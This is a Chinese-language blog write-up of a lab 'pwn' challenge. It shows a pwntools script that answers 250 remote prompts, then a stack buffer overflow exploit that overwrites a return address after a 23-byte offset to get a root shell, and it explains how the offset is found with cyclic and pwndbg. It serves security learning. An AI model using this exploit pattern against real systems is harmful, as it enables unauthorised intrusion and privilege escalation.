Skip to main content

pwn-tool

·106 words·1 min
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

pwn-tools first - 第一次
#

这里因为我也是第一次玩PWN的题目所以也是看群主的视频来学习 先看步骤后面总结会解释

1

然后我们NC下 试试发现是一个NC 这里要输入250次经过测试

2

这里你可以写PY脚本 也可以用 PWN

pwn1

这里附上代码

from pwn import *
import re

r=remote("172.20.10.2",1337)
for i in range(250):
    print(i)
    a = r.recvuntil(b': ').decode()
    print(a)
    x = re.split('/[|/]',a)
    r.sendline(x[1].encode())
r.interactive()

pwn2

拿到密码得到SHELL

pwn3

然后这里程序我们先把发送出来 然后IDEA反编译下

得到主函数然后左边有一个fun 函数点开看看

333

发现了要利用的函数因为主函数有一个gets没有检测输入个数我们利用下栈溢出

334

栈溢出代码如下

root2

代码如下

from pwn import *
import re

r=remote("172.20.10.2",12345)

junk = b'A' * 23
fun = p64(0x401186)
payload = junk + fun

r.recvuntil(b'please input/n')
r.sendline(payload)
r.interactive()

拿到ROOT

root1

我们拿到了ROOT我来解释下原理

当你不停的往这个数组放入数值时 满的时候他会到缓冲区拿去数据 我们就是来控制缓冲区的数据找到那个临界值爆发后我们控制的值 我们上面图算出来了是23

如何计算?

使用

pwndbg /opt/find_backdoor

r 然后输入一长串有规则数据生成可以使用代码

python3 -c "from pwn import cyclic; print(cyclic(100))" 
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'

然后我们放入进去

可以看爆出了 ret

下面那个6161686161616761是爆发值

stack1

然后我们使用工具来看偏移量是多少

python3 -c "from pwn import *; print(cyclic_find(0x6161686161616761))"

算出23 所以我们POC代码就是23个A加上函数地址

偏移量

4444

总结一下
#

1:从输入的哪一位开始,覆盖了返回地址(RIP)

2:当你利用栈溢出攻击程序时:你要精确填满前面的内容,刚好覆盖返回地址所以必须知道这个“偏移值”

Related

insomnia靶机---难度easy知识点-分号截断
·90 words·1 min
Locker靶机---难度easy知识点-分号截断,Sulogin
·150 words·1 min
vulny靶机---难度easy知识点-file-manager
·78 words·1 min
observe靶机---难度low知识点-fuzz-ln
·49 words·1 min
baseme靶机---难度LOW-知识点-爆破ssh密钥-base64语法-
·95 words·1 min